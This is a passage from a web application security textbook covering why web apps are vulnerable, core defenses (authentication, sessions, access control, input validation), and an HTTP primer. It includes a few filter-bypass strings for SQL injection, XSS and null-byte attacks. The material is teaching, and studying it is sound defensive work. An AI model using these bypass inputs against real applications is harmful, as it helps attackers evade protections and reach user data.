economics of in-house, one-off develop- ment. In most organizations, it is often infeasible to employ dedicated security expertise in the design or development teams. And due to project slippage, security testing by specialists is often left until very late in the project’s life cycle. In the balancing of competing priorities, the need to produce a stable and functional application by a deadline normally overrides less tangible security considerations. A typical small organization may be willing to pay for only a few man-days of consulting time to evaluate a new application. A quick pen- etration test will often fi nd the low-hanging fruit, but it may miss more subtle vulnerabilities that require time and patience to identify. Overextended Technologies Many of the core technologies employed in web applications began life when the landscape of the World Wide Web was very different. They have since been pushed far beyond the purposes for which they were originally conceived, such as the use of JavaScript as a means of data transmission in many AJAX-based c01.indd 11c01.indd 11 8/19/2011 12:02:03 PM8/19/2011 12:02:03 PMStuttard c01.indd V2 - 07/07/2011 Page 12 12 Chapter 1 Web Application (In)security applications. As the expectations placed on web application functionality have rapidly evolved, the technologies used to implement this functionality have lagged behind the curve, with old technologies stretched and adapted to meet new requirements. Unsurprisingly, this has led to security vulnerabilities as unforeseen side effects emerge. Increasing Demands on Functionality Applications are designed primarily with functionality and usability in mind. Once-static user profi les now contain social networking features, allowing upload- ing of pictures and wiki-style editing of pages. A few years ago an application designer may have been content with implementing a username and password challenge to create the login functionality. Modern sites may include password recovery, username recovery, password hints, and an option to remember the username and password on future visits. Such a site would undoubtedly be promoted as having numerous security features, yet each one is really a self- service feature adding to the site’s attack surface. The New Security Perimeter Before the rise of web applications, organizations’ efforts to secure themselves against external attack were largely focused on the network perimeter. Defending this perimeter entailed hardening and patching the services it needed to expose and fi rewalling access to others. Web applications have changed all this. For an application to be accessible by its users, the perimeter fi rewall must allow inbound connections to the server over HTTP or HTTPS. And for the application to function, the server must be allowed to connect to supporting back-end systems, such as databases, mainframes, and fi nancial and logistical systems. These systems often lie at the core of the organization’s operations and reside behind several layers of network-level defenses. If a vulnerability exists within a web application, an attacker on the public Internet may be able to compromise the organization’s core back-end systems solely by submitting crafted data from his web browser. This data sails past all the organization’s network defenses, in the same way as does ordinary, benign traffi c to the web application. The effect of widespread deployment of web applications is that the security perimeter of a typical organization has moved. Part of that perimeter is still embodied in fi rewalls and bastion hosts. But a signifi cant part of it is now occupied by the organization’s web applications. Because of the manifold ways in which web applications receive user input and pass this to sensitive back-end systems, they are the potential gateways for a wide range of attacks, and defenses against these attacks must be implemented within the applications themselves. A single c01.indd 12c01.indd 12 8/19/2011 12:02:04 PM8/19/2011 12:02:04 PMStuttard c01.indd V2 - 07/07/2011 Page 13 Chapter 1 Web Application (In)security 13 line of defective code in a single web application can render an organization’s internal systems vulnerable. Furthermore, with the rise of mash-up applications, third-party widgets, and other techniques for cross-domain integration, the server-side security perimeter frequently extends well beyond the organization itself. Implicit trust is placed in the services of external applications and services. The statistics described previously, of the incidence of vulnerabilities within this new security perimeter, should give every organization pause for thought. NOTE For an attacker targeting an organization, gaining access to the net- work or executing arbitrary commands on servers may not be what he wants to achieve. Often, and perhaps typically, what an attacker really wants is to perform some application-level action such as stealing personal informa- tion, transferring funds, or making cheap purchases. And the relocation of the security perimeter to the application layer may greatly assist an attacker in achieving these objectives. For example, suppose that an attacker wants to “hack in” to a bank’s systems and steal money from users’ accounts. In the past, before the bank deployed a web application, the attacker might have needed to fi nd a vulnerability in a publicly reachable service, exploit this to gain a toehold on the bank’s DMZ, penetrate the fi rewall restricting access to its internal systems, map the network to fi nd the mainframe computer, decipher the arcane protocol used to access it, and guess some credentials to log in. However, if the bank now deploys a vulnerable web application, the attacker may be able to achieve the same outcome simply by modifying an account number in a hidden fi eld of an HTML form. A second way in which web applications have moved the security perimeter arises from the threats that users themselves face when they access a vulner- able application. A malicious attacker can leverage a benign but vulnerable web application to attack any user who visits it. If that user is located on an internal corporate network, the attacker may harness the user’s browser to launch an attack against the local network from the user’s trusted position. Without any cooperation from the user, the attacker may be able to carry out any action that the user could perform if she were herself malicious. With the proliferation of browser extension technologies and plug-ins, the extent of the client-side attack surface has increased considerably. Network administrators are familiar with the idea of preventing their users from visiting malicious web sites, and end users themselves are gradually becom- ing more aware of this threat. But the nature of web application vulnerabilities means that a vulnerable application may present no less of a threat to its users and their organization than a web site that is overtly malicious. Correspondingly, the new security perimeter imposes a duty of care on all application owners to protect their users from attacks against them delivered via the application. c01.indd 13c01.indd 13 8/19/2011 12:02:04 PM8/19/2011 12:02:04 PMStuttard c01.indd V2 - 07/07/2011 Page 14 14 Chapter 1 Web Application (In)security A further way in which the security perimeter has partly moved to the cli- ent side is through the widespread use of e-mail as an extended authentication mechanism. A huge number of today’s applications contain “forgotten password” functions that allow an attacker to generate an account recovery e-mail to any registered address, without requiring any other user-specifi c information. This allows an attacker who compromises a user’s web mail account to easily escalate the attack and compromise the victim’s accounts on most of the web applications for which the victim is registered. The Future of Web Application Security Over a decade after their widespread adoption, web applications on the Internet today are still rife with vulnerabilities. Understanding of the security threats facing web applications, and effective ways of addressing these, are still underde- veloped within the industry. There is currently little indication that the problem factors described in this chapter will disappear in the near future. That said, the details of the web application security landscape are not static. Even though old and well-understood vulnerabilities such as SQL injection continue to appear, their prevalence is gradually diminishing. Furthermore, the instances that remain are becoming more diffi cult to fi nd and exploit. New research in these areas is generally focused on developing advanced techniques for attacking more subtle manifestations of vulnerabilities that a few years ago could be easily detected and exploited using only a browser. A second prominent trend has been a gradual shift in attention from attacks against the server side of the application to those that target application users. The latter kind of attack still leverages defects within the application itself, but it generally involves some kind of interaction with another user to compromise that user’s dealings with the vulnerable application. This is a trend that has been replicated in other areas of software security. As awareness of security threats matures, fl aws in the server side are the fi rst to be well understood and addressed, leaving the client side as a key battleground as the learning process continues. Of all the attacks described in this book, those against other users are evolving the most quickly, and they have been the focus of most research in recent years. Various recent trends in technology have somewhat altered the landscape of web applications. Popular consciousness about these trends exists by means of various rather misleading buzzwords, the most prominent of which are these: Web 2.0 — This term refers to the greater use of functionality that enables user-generated content and information sharing, and also the adoption of various technologies that broadly support this functionality, including asynchronous HTTP requests and cross-domain integration. c01.indd 14c01.indd 14 8/19/2011 12:02:04 PM8/19/2011 12:02:04 PMStuttard c01.indd V2 - 07/07/2011 Page 15 Chapter 1 Web Application (In)security 15 Cloud computing — This term refers to greater use of external service providers for various parts of the technology stack, including applica- tion software, application platforms, web server software, databases, and hardware. It also refers to increased usage of virtualization technologies within hosting environments. As with most changes in technology, these trends have brought with them some new attacks and variations on existing attacks. Notwithstanding the hype, the issues raised are not quite as revolutionary as they may initially appear. We will examine the security implications of these and other recent trends in the appropriate locations throughout this book. Despite all the changes that have occurred within web applications, some categories of “classic” vulnerabilities show no sign of diminishing. They continue to arise in pretty much the same form as they did in the earliest days of the web. These include defects in business logic, failures to properly apply access controls, and other design issues. Even in a world of bolted-together applica- tion components and everything-as-a-service, these timeless issues are likely to remain widespread. Summary In a little over a decade, the World Wide Web has evolved from purely static information repositories into highly functional applications that process sensitive data and perform powerful actions with real-world consequences. During this development, several factors have combined to bring about the weak security posture demonstrated by the majority of today’s web applications. Most applications face the core security problem that users can submit arbi- trary input. Every aspect of the user’s interaction with the application may be malicious and should be regarded as such unless proven otherwise. Failure to properly address this problem can leave applications vulnerable to attack in numerous ways. All the evidence about the current state of web application security indicates that although some aspects of security have indeed improved, entirely new threats have evolved to replace them. The overall problem has not been resolved on any signifi cant scale. Attacks against web applications still present a serious threat to both the organizations that deploy them and the users who access them. c01.indd 15c01.indd 15 8/19/2011 12:02:04 PM8/19/2011 12:02:04 PMStuttard c01.indd V2 - 07/07/2011 Page 16 c01.indd 16c01.indd 16 8/19/2011 12:02:04 PM8/19/2011 12:02:04 PMStuttard c02.indd V3 - 07/22/2011 Page 17 17 CHAPTER 2 Core Defense Mechanisms The fundamental security problem with web applications — that all user input is untrusted — gives rise to a number of security mechanisms that applica- tions use to defend themselves against attack. Virtually all applications employ mechanisms that are conceptually similar, although the details of the design and the effectiveness of the implementation vary greatly. The defense mechanisms employed by web applications comprise the following core elements: Handling user access to the application’s data and functionality to prevent users from gaining unauthorized access Handling user input to the application’s functions to prevent malformed input from causing undesirable behavior Handling attackers to ensure that the application behaves appropriately when being directly targeted, taking suitable defensive and offensive measures to frustrate the attacker Managing the application itself by enabling administrators to monitor its activities and confi gure its functionality Because of their central role in addressing the core security problem, these mechanisms also make up the vast majority of a typical application’s attack surface. If knowing your enemy is the fi rst rule of warfare, then understanding these mechanisms thoroughly is the main prerequisite for being able to attack c02.indd 17c02.indd 17 8/19/2011 12:02:41 PM8/19/2011 12:02:41 PMStuttard c02.indd V3 - 07/22/2011 Page 18 18 Chapter 2 Core Defense Mechanisms applications effectively. If you are new to hacking web applications (and even if you are not), you should be sure to take time to understand how these core mechanisms work in each of the applications you encounter, and identify the weak points that leave them vulnerable to attack. Handling User Access A central security requirement that virtually any application needs to meet is controlling users’ access to its data and functionality. A typical situation has several different categories of user, such as anonymous users, ordinary authenti- cated users, and administrative users. Furthermore, in many situations different users are permitted to access a different set of data. For example, users of a web mail application should be able to read their own e-mail but not other people’s. Most web applications handle access using a trio of interrelated security mechanisms: Authentication Session management Access control Each of these mechanisms represents a signifi cant area of an application’s attack surface, and each is fundamental to an application’s overall security posture. Because of their interdependencies, the overall security provided by the mechanisms is only as strong as the weakest link in the chain. A defect in any single component may enable an attacker to gain unrestricted access to the application’s functionality and data. Authentication The authentication mechanism is logically the most basic dependency in an application’s handling of user access. Authenticating a user involves establishing that the user is in fact who he claims to be. Without this facility, the application would need to treat all users as anonymous — the lowest possible level of trust. The majority of today’s web applications employ the conventional authen- tication model, in which the user submits a username and password, which the application checks for validity. Figure 2-1 shows a typical login function. In security-critical applications such as those used by online banks, this basic model is usually supplemented by additional credentials and a multistage login process. When security requirements are higher still, other authentication mod- els may be used, based on client certifi cates, smartcards, or challenge-response tokens. In addition to the core login process, authentication mechanisms often employ a range of other supporting functionality, such as self-registration, account recovery, and a password change facility. c02.indd 18c02.indd 18 8/19/2011 12:02:41 PM8/19/2011 12:02:41 PMStuttard c02.indd V3 - 07/22/2011 Page 19 Chapter 2 Core Defense Mechanisms 19 Figure 2-1: A typical login function Despite their superfi cial simplicity, authentication mechanisms suffer from a wide range of defects in both design and implementation. Common problems may enable an attacker to identify other users’ usernames, guess their pass- words, or bypass the login function by exploiting defects in its logic. When you are attacking a web application, you should invest a signifi cant amount of attention to the various authentication-related functions it contains. Surprisingly frequently, defects in this functionality enable you to gain unauthorized access to sensitive data and functionality. Session Management The next logical task in the process of handling user access is to manage the authenticated user’s session. After successfully logging in to the application, the user accesses various pages and functions, making a series of HTTP requests from his browser. At the same time, the application receives countless other requests from different users, some of whom are authenticated and some of whom are anonymous. To enforce effective access control, the application needs a way to identify and process the series of requests that originate from each unique user. Virtually all web applications meet this requirement by creating a session for each user and issuing the user a token that identifi es the session. The session itself is a set of data structures held on the server that track the state of the user’s interaction with the application. The token is a unique string that the applica- tion maps to the session. When a user receives a token, the browser automati- cally submits it back to the server in each subsequent HTTP request, enabling the application to associate the request with that user. HTTP cookies are the standard method for transmitting session tokens, although many applications use hidden form fi elds or the URL query string for this purpose. If a user does not make a request for a certain amount of time, the session is ideally expired, as shown in Figure 2-2. c02.indd 19c02.indd 19 8/19/2011 12:02:41 PM8/19/2011 12:02:41 PMStuttard c02.indd V3 - 07/22/2011 Page 20 20 Chapter 2 Core Defense Mechanisms Figure 2-2: An application enforcing session timeout In terms of attack surface, the session management mechanism is highly dependent on the security of its tokens. The majority of attacks against it seek to compromise the tokens issued to other users. If this is possible, an attacker can masquerade as the victim user and use the application just as if he had actually authenticated as that user. The principal areas of vulnerability arise from defects in how tokens are generated, enabling an attacker to guess the tokens issued to other users, and defects in how tokens are subsequently handled, enabling an attacker to capture other users’ tokens. A small number of applications dispense with the need for session tokens by using other means of reidentifying users across multiple requests. If HTTP’s built-in authentication mechanism is used, the browser automatically resubmits the user’s credentials with each request, enabling the application to identify the user directly from these. In other cases, the application stores the state infor- mation on the client side rather than the server, usually in encrypted form to prevent tampering. Access Control The fi nal logical step in the process of handling user access is to make and enforce correct decisions about whether each individual request should be permitted or denied. If the mechanisms just described are functioning correctly, the applica- tion knows the identity of the user from whom each request is received. On this basis, it needs to decide whether that user is authorized to perform the action, or access the data, that he is requesting, as shown in Figure 2-3. The access control mechanism usually needs to implement some fi ne-grained logic, with different considerations being relevant to different areas of the application and different types of functionality. An application might support numerous user roles, each involving different combinations of specifi c privileges. Individual users may be permitted to access a subset of the total data held within the application. Specifi c functions may implement transaction limits and other checks, all of which need to be properly enforced based on the user’s identity. Because of the complex nature of typical access control requirements, this mechanism is a frequent source of security vulnerabilities that enable an attacker c02.indd 20c02.indd 20 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 21 Chapter 2 Core Defense Mechanisms 21 to gain unauthorized access to data and functionality. Developers often make fl awed assumptions about how users will interact with the application and frequently make oversights by omitting access control checks from some appli- cation functions. Probing for these vulnerabilities is often laborious, because essentially the same checks need to be repeated for each item of functionality. Because of the prevalence of access control fl aws, however, this effort is always a worthwhile investment when you are attacking a web application. Chapter 8 describes how you can automate some of the effort involved in performing rigorous access control testing. Figure 2-3: An application enforcing access control Handling User Input Recall the fundamental security problem described in Chapter 1: All user input is untrusted. A huge variety of attacks against web applications involve submit- ting unexpected input, crafted to cause behavior that was not intended by the application’s designers. Correspondingly, a key requirement for an application’s security defenses is that the application must handle user input in a safe manner. Input-based vulnerabilities can arise anywhere within an application’s func- tionality, and in relation to practically every type of technology in common use. “Input validation” is often cited as the necessary defense against these attacks. However, no single protective mechanism can be employed everywhere, and defending against malicious input is often not as straightforward as it sounds. Varieties of Input A typical web application processes user-supplied data in many different forms. Some kinds of input validation may not be feasible or desirable for all these forms of input. Figure 2-4 shows the kind of input validation often performed by a user registration function. c02.indd 21c02.indd 21 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 22 22 Chapter 2 Core Defense Mechanisms Figure 2-4: An application performing input validation Must contain at least 4 characters Must contain at least 4 characters Please provide a valid email address Must contain only numbers In many cases, an application may be able to impose very stringent valida- tion checks on a specifi c item of input. For example, a username submitted to a login function may be required to have a maximum length of eight characters and contain only alphabetical characters. In other cases, the application must tolerate a wider range of possible input. For example, an address fi eld submitted to a personal details page might legiti- mately contain letters, numbers, spaces, hyphens, apostrophes, and other char- acters. However, for this item, restrictions still can be feasibly imposed. The data should not exceed a reasonable length limit (such as 50 characters) and should not contain any HTML markup. In some situations, an application may need to accept arbitrary input from users. For example, a user of a blogging application may create a blog whose subject is web application hacking. Posts and comments made to the blog may quite legitimately contain explicit attack strings that are being discussed. The application may need to store this input in a database, write it to disk, and display it back to users in a safe way. It cannot simply reject the input just because it looks potentially malicious without substantially diminishing the application’s value to some of its user base. In addition to the various kinds of input that users enter using the browser interface, a typical application receives numerous items of data that began their life on the server and that are sent to the client so that the client can transmit them back to the server on subsequent requests. This includes items such as cookies and hidden form fi elds, which are not seen by ordinary users of the application but which an attacker can of course view and modify. In these cases, applications can often perform very specifi c validation of the data received. For example, a parameter might be required to have one of a specifi c set of known values, such as a cookie indicating the user’s preferred language, or to be in a specifi c format, such as a customer ID number. Furthermore, when an applica- tion detects that server-generated data has been modifi ed in a way that is not possible for an ordinary user with a standard browser, this often indicates that the user is attempting to probe the application for vulnerabilities. In these c02.indd 22c02.indd 22 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 23 Chapter 2 Core Defense Mechanisms 23 cases, the application should reject the request and log the incident for potential investigation (see the “Handling Attackers” section later in this chapter). Approaches to Input Handling Various broad approaches are commonly taken to the problem of handling user input. Different approaches are often preferable for different situations and different types of input, and a combination of approaches may sometimes be desirable. “Reject Known Bad” This approach typically employs a blacklist containing a set of literal strings or patterns that are known to be used in attacks. The validation mechanism blocks any data that matches the blacklist and allows everything else. In general, this is regarded as the least effective approach to validating user input, for two main reasons. First, a typical vulnerability in a web applica- tion can be exploited using a wide variety of input, which may be encoded or represented in various ways. Except in the simplest of cases, it is likely that a blacklist will omit some patterns of input that can be used to attack the applica- tion. Second, techniques for exploitation are constantly evolving. Novel methods for exploiting existing categories of vulnerabilities are unlikely to be blocked by current blacklists. Many blacklist-based fi lters can be bypassed with almost embarrassing ease by making trivial adjustments to the input that is being blocked. For example: If SELECT is blocked, try SeLeCt If or 1=1-- is blocked, try or 2=2-- If alert(‘xss’) is blocked, try prompt(‘xss’) In other cases, fi lters designed to block specifi c keywords can be bypassed by using nonstandard characters between expressions to disrupt the tokenizing performed by the application. For example: SELECT/*foo*/username,password/*foo*/FROM/*foo*/users Finally, numerous blacklist-based fi lters, particularly those implemented in web application fi rewalls, have been vulnerable to NULL byte attacks. Because of the different ways in which strings are handled in managed and unmanaged execution contexts, inserting a NULL byte anywhere before a blocked expression can cause some fi lters to stop processing the input and therefore not identify the expression. For example: %00 c02.indd 23c02.indd 23 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 24 24 Chapter 2 Core Defense Mechanisms Various other techniques for attacking web application fi rewalls are described in Chapter 18. NOTE Attacks that exploit the handling of NULL bytes arise in many areas of web application security. In contexts where a NULL byte acts as a string delimiter, it can be used to terminate a fi lename or a query to some back- end component. In contexts where NULL bytes are tolerated and ignored (for example, within HTML in some browsers), arbitrary NULL bytes can be inserted within blocked expressions to defeat some blacklist-based fi lters. Attacks of this kind are discussed in detail in later chapters. “Accept Known Good” This approach employs a whitelist containing a set of literal strings or patterns, or a set of criteria, that is known to match only benign input. The validation mechanism allows data that matches the whitelist and blocks everything else. For example, before looking up a requested product code in the database, an application might validate that it contains only alphanumeric characters and is exactly six characters long. Given the subsequent processing that will be done on the product code, the developers know that input passing this test cannot possibly cause any problems. In cases where this approach is feasible, it is regarded as the most effective way to handle potentially malicious input. Provided that due care is taken in constructing the whitelist, an attacker will be unable to use crafted input to interfere with the application’s behavior. However, in numerous situations an application must accept data for processing that does not meet any reasonable criteria for what is known to be “good.” For example, some people’s names contain an apostrophe or hyphen. These can be used in attacks against databases, but it may be a requirement that the application should permit anyone to register under his or her real name. Hence, although it is often extremely effective, the whitelist-based approach does not represent an all-purpose solution to the problem of handling user input. Sanitization This approach recognizes the need to sometimes accept data that cannot be guaranteed as safe. Instead of rejecting this input, the application sanitizes it in various ways to prevent it from having any adverse effects. Potentially mali- cious characters may be removed from the data, leaving only what is known to be safe, or they may be suitably encoded or “escaped” before further processing is performed. Approaches based on data sanitization are often highly effective, and in many situations they can be relied on as a general solution to the problem of malicious c02.indd 24c02.indd 24 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 25 Chapter 2 Core Defense Mechanisms 25 input. For example, the usual defense against cross-site scripting attacks is to HTML-encode dangerous characters before these are embedded into pages of the application (see Chapter 12). However, effective sanitization may be diffi cult to achieve if several kinds of potentially malicious data need to be accommodated within one item of input. In this situation, a boundary validation approach is desirable, as described later. Safe Data Handling Many web application vulnerabilities arise because user-supplied data is pro- cessed in unsafe ways. Vulnerabilities often can be avoided not by validating the input itself but by ensuring that the processing that is performed on it is inherently safe. In some situations, safe programming methods are available that avoid common problems. For example, SQL injection attacks can be pre- vented through the correct use of parameterized queries for database access (see Chapter 9). In other situations, application functionality can be designed in such a way that inherently unsafe practices, such as passing user input to an operating system command interpreter, are avoided. This approach cannot be applied to every kind of task that web applications need to perform. But where it is available, it is an effective general approach to handling potentially malicious input. Semantic Checks The defenses described so far all address the need to defend the application against various kinds of malformed data whose content has been crafted to interfere with the application’s processing. However, with some vulnerabilities the input supplied by the attacker is identical to the input that an ordinary, nonmalicious user may submit. What makes it malicious is the different circumstances under which it is submitted. For example, an attacker might seek to gain access to another user’s bank account by changing an account number transmitted in a hidden form fi eld. No amount of syntactic validation will distinguish between the user’s data and the attacker’s. To prevent unauthorized access, the applica- tion needs to validate that the account number submitted belongs to the user who has submitted it. Boundary Validation The idea of validating data across trust boundaries is a familiar one. The core security problem with web applications arises because data received from users is untrusted. Although input validation checks implemented on the client side may improve performance and the user’s experience, they do not provide any assurance about the data that actually reaches the server. The point at which c02.indd 25c02.indd 25 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 26 26 Chapter 2 Core Defense Mechanisms user data is fi rst received by the server-side application represents a huge trust boundary. At this point the application needs to take measures to defend itself against malicious input. Given the nature of the core problem, it is tempting to think of the input validation problem in terms of a frontier between the Internet, which is “bad” and untrusted, and the server-side application, which is “good” and trusted. In this picture, the role of input validation is to clean potentially malicious data on arrival and then pass the clean data to the trusted application. From this point onward, the data may be trusted and processed without any further checks or concern about possible attacks. As will become evident when we begin to examine some actual vulnerabili- ties, this simple picture of input validation is inadequate for several reasons: Given the wide range of functionality that applications implement, and the different technologies in use, a typical application needs to defend itself against a huge variety of input-based attacks, each of which may employ a diverse set of crafted data. It would be very diffi cult to devise a single mechanism at the external boundary to defend against all these attacks. Many application functions involve chaining together a series of different types of processing. A single piece of user-supplied input might result in a number of operations in different components, with the output of each being used as the input for the next. As the data is transformed, it might come to bear no resemblance to the original input. A skilled attacker may be able to manipulate the application to cause malicious input to be generated at a key stage of the processing, attacking the component that receives this data. It would be extremely diffi cult to implement a valida- tion mechanism at the external boundary to foresee all the possible results of processing each piece of user input. Defending against different categories of input-based attack may entail performing different validation checks on user input that are incompat- ible with one another. For example, preventing cross-site scripting attacks may require the application to HTML-encode the > character as >, and preventing command injection attacks may require the application to block input containing the & and ; characters. Attempting to prevent all categories of attack simultaneously at the application’s external boundary may sometimes be impossible. A more effective model uses the concept of boundary validation. Here, each individual component or functional unit of the server-side application treats its inputs as coming from a potentially malicious source. Data validation is performed at each of these trust boundaries, in addition to the external frontier between the client and server. This model provides a solution to the problems just described. Each component can defend itself against the specifi c types of crafted input to which it may be vulnerable. As data passes through different c02.indd 26c02.indd 26 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 27 Chapter 2 Core Defense Mechanisms 27 components, validation checks can be performed against whatever value the data has as a result of previous transformations. And because the various validation checks are implemented at different stages of processing, they are unlikely to come into confl ict with one another. Figure 2-5 illustrates a typical situation where boundary validation is the most effective approach to defending against malicious input. The user login results in several steps of processing being performed on user-supplied input, and suitable validation is performed at each step: 1. The application receives the user’s login details. The form handler vali- dates that each item of input contains only permitted characters, is within a specifi c length limit, and does not contain any known attack signatures. 2. The application performs a SQL query to verify the user’s credentials. To prevent SQL injection attacks, any characters within the user input that may be used to attack the database are escaped before the query is constructed. 3. If the login succeeds, the application passes certain data from the user’s profi le to a SOAP service to retrieve further information about her account. To prevent SOAP injection attacks, any XML metacharacters within the user’s profi le data are suitably encoded. 4. The application displays the user’s account information back to the user’s browser. To prevent cross-site scripting attacks, the application HTML- encodes any user-supplied data that is embedded into the returned page. Figure 2-5: An application function using boundary validation at multiple stages of processing Database SOAP service Application server 1. General checks User 4. Sanitize output Login submission Display account details SQL query 2. Clean SQL SOAP message 3. Encode XML metacharacters c02.indd 27c02.indd 27 8/19/2011 12:02:42 PM8/19/2011 12:02:42 PMStuttard c02.indd V3 - 07/22/2011 Page 28 28 Chapter 2 Core Defense Mechanisms The specifi c vulnerabilities and defenses involved in this scenario will be examined in detail in later chapters. If variations on this functionality involved passing data to further application components, similar defenses would need to be implemented at the relevant trust boundaries. For example, if a failed login caused the application to send a warning e-mail to the user, any user data incorporated into the e-mail may need to be checked for SMTP injection attacks. Multistep Validation and Canonicalization A common problem encountered by input-handling mechanisms arises when user-supplied input is manipulated across several steps as part of the valida- tion logic. If this process is not handled carefully, an attacker may be able to construct crafted input that succeeds in smuggling malicious data through the validation mechanism. One version of this problem occurs when an application attempts to sanitize user input by removing or encoding certain characters or expressions. For example, an application may attempt to defend against some cross-site scripting attacks by stripping the expression: c02.indd 37c02.indd 37 8/19/2011 12:02:44 PM8/19/2011 12:02:44 PMStuttard c02.indd V3 - 07/22/2011 Page 38 c02.indd 38c02.indd 38 8/19/2011 12:02:44 PM8/19/2011 12:02:44 PMStuttard c03.indd V3 - 07/22/2011 Page 39 39 CHAPTER 3 Web Application Technologies Web applications employ a myriad of technologies to implement their function- ality. This chapter is a short primer on the key technologies that you are likely to encounter when attacking web applications. We will examine the HTTP protocol, the technologies commonly employed on the server and client sides, and the encoding schemes used to represent data in different situations. These technologies are in general easy to understand, and a grasp of their relevant features is key to performing effective attacks against web applications. If you are already familiar with the key technologies used in web applications, you can skim through this chapter to confi rm that it offers you nothing new. If you are still learning how web applications work, you should read this chapter before continuing to the later chapters on specifi c vulnerabilities. For further reading on many of the areas covered, we recommend HTTP: The Defi nitive Guide by David Gourley and Brian Totty (O’Reilly, 2002), and also the website of the World Wide Web Consortium at www.w3.org. The HTTP Protocol Hypertext transfer protocol (HTTP) is the core communications protocol used to access the World Wide Web and is used by all of today’s web applications. It is a simple protocol that was originally developed for retrieving static text-based resources. It has since been extended and leveraged in various ways to enable it to support the complex distributed applications that are now commonplace. c03.indd 39c03.indd 39 8/19/2011 12:03:43 PM8/19/2011 12:03:43 PMStuttard c03.indd V3 - 07/22/2011 Page 40 40 Chapter 3 Web Application Technologies HTTP uses a message-based model in which a client sends a request mes- sage and the server returns a response message. The protocol is essentially connectionless: although HTTP uses the stateful TCP protocol as its transport mechanism, each exchange of request and response is an autonomous transac- tion and may use a different TCP connection. HTTP Requests All HTTP messages (requests and responses) consist of one or more headers, each on a separate line, followed by a mandatory blank line, followed by an optional message body. A typical HTTP request is as follows: GET /auth/488/YourDetails.ashx?uid=129 HTTP/1.1 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/x-shockwave- flash, */* Referer: https://mdsec.net/auth/488/Home.ashx Accept-Language: en-GB User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: mdsec.net Connection: Keep-Alive Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476 The fi rst line of every HTTP request consists of three items, separated by spaces: A verb indicating the HTTP method. The most commonly used method is GET, whose function is to retrieve a resource from the web server. GET requests do not have a message body, so no further data follows the blank line after the message headers. The requested URL. The URL typically functions as a name for the resource being requested, together with an optional query string containing param- eters that the client is passing to that resource. The query string is indicated by the ? character in the URL. The example contains a single parameter with the name uid and the value 129. The HTTP version being used. The only HTTP versions in common use on the Internet are 1.0 and 1.1, and most browsers use version 1.1 by default. There are a few differences between the specifi cations of these two versions; however, the only difference you are likely to encounter when attacking web applications is that in version 1.1 the Host request header is mandatory. c03.indd 40c03.indd 40 8/19/2011 12:03:43 PM8/19/2011 12:03:43 PMStuttard c03.indd V3 - 07/22/2011 Page 41 Chapter 3 Web Application Technologies 41 Here are some other points of interest in the sample request: The Referer header is used to indicate the URL from which the request originated (for example, because the user clicked a link on that page). Note that this header was misspelled in the original HTTP specifi cation, and the misspelled version has been retained ever since. The User-Agent header is used to provide information about the browser or other client software that generated the request. Note that most brows- ers include the Mozilla prefi x for historical reasons. This was the User- Agent string used by the originally dominant Netscape browser, and other browsers wanted to assert to websites that they were compatible with this standard. As with many quirks from computing history, it has become so established that it is still retained, even on the current version of Internet Explorer, which made the request shown in the example. The Host header specifi es the hostname that appeared in the full URL being accessed. This is necessary when multiple websites are hosted on the same server, because the URL sent in the fi rst line of the request usu- ally does not contain a hostname. (See Chapter 17 for more information about virtually hosted websites.) The Cookie header is used to submit additional parameters that the server has issued to the client (described in more detail later in this chapter). HTTP Responses A typical HTTP response is as follows: HTTP/1.1 200 OK Date: Tue, 19 Apr 2011 09:23:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc X-AspNet-Version: 2.0.50727 Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1067 Your details ... c03.indd 41c03.indd 41 8/19/2011 12:03:43 PM8/19/2011 12:03:43 PMStuttard c03.indd V3 - 07/22/2011 Page 42 42 Chapter 3 Web Application Technologies The fi rst line of every HTTP response consists of three items, separated by spaces: The HTTP version being used. A numeric status code indicating the result of the request. 200 is the most common status code; it means that the request was successful and that the requested resource is being returned. A textual “reason phrase” further describing the status of the response. This can have any value and is not used for any purpose by current browsers. Here are some other points of interest in the response: The Server header contains a banner indicating the web server software being used, and sometimes other details such as installed modules and the server operating system. The information contained may or may not be accurate. The Set-Cookie header issues the browser a further cookie; this is sub- mitted back in the Cookie header of subsequent requests to this server. The Pragma header instructs the browser not to store the response in its cache. The Expires header indicates that the response content expired in the past and therefore should not be cached. These instructions are frequently issued when dynamic content is being returned to ensure that browsers obtain a fresh version of this content on subsequent occasions. Almost all HTTP responses contain a message body following the blank line after the headers. The Content-Type header indicates that the body of this message contains an HTML document. The Content-Length header indicates the length of the message body in bytes. HTTP Methods When you are attacking web applications, you will be dealing almost exclusively with the most commonly used methods: GET and POST. You need to be aware of some important differences between these methods, as they can affect an application’s security if overlooked. The GET method is designed to retrieve resources. It can be used to send parameters to the requested resource in the URL query string. This enables users to bookmark a URL for a dynamic resource that they can reuse. Or other users can retrieve the equivalent resource on a subsequent occasion (as in a bookmarked search query). URLs are displayed on-screen and are logged in various places, such as the browser history and the web server’s access logs. They are also transmitted in the Referer header to other sites when external c03.indd 42c03.indd 42 8/19/2011 12:03:43 PM8/19/2011 12:03:43 PMStuttard c03.indd V3 - 07/22/2011 Page 43 Chapter 3 Web Application Technologies 43 links are followed. For these reasons, the query string should not be used to transmit any sensitive information. The POST method is 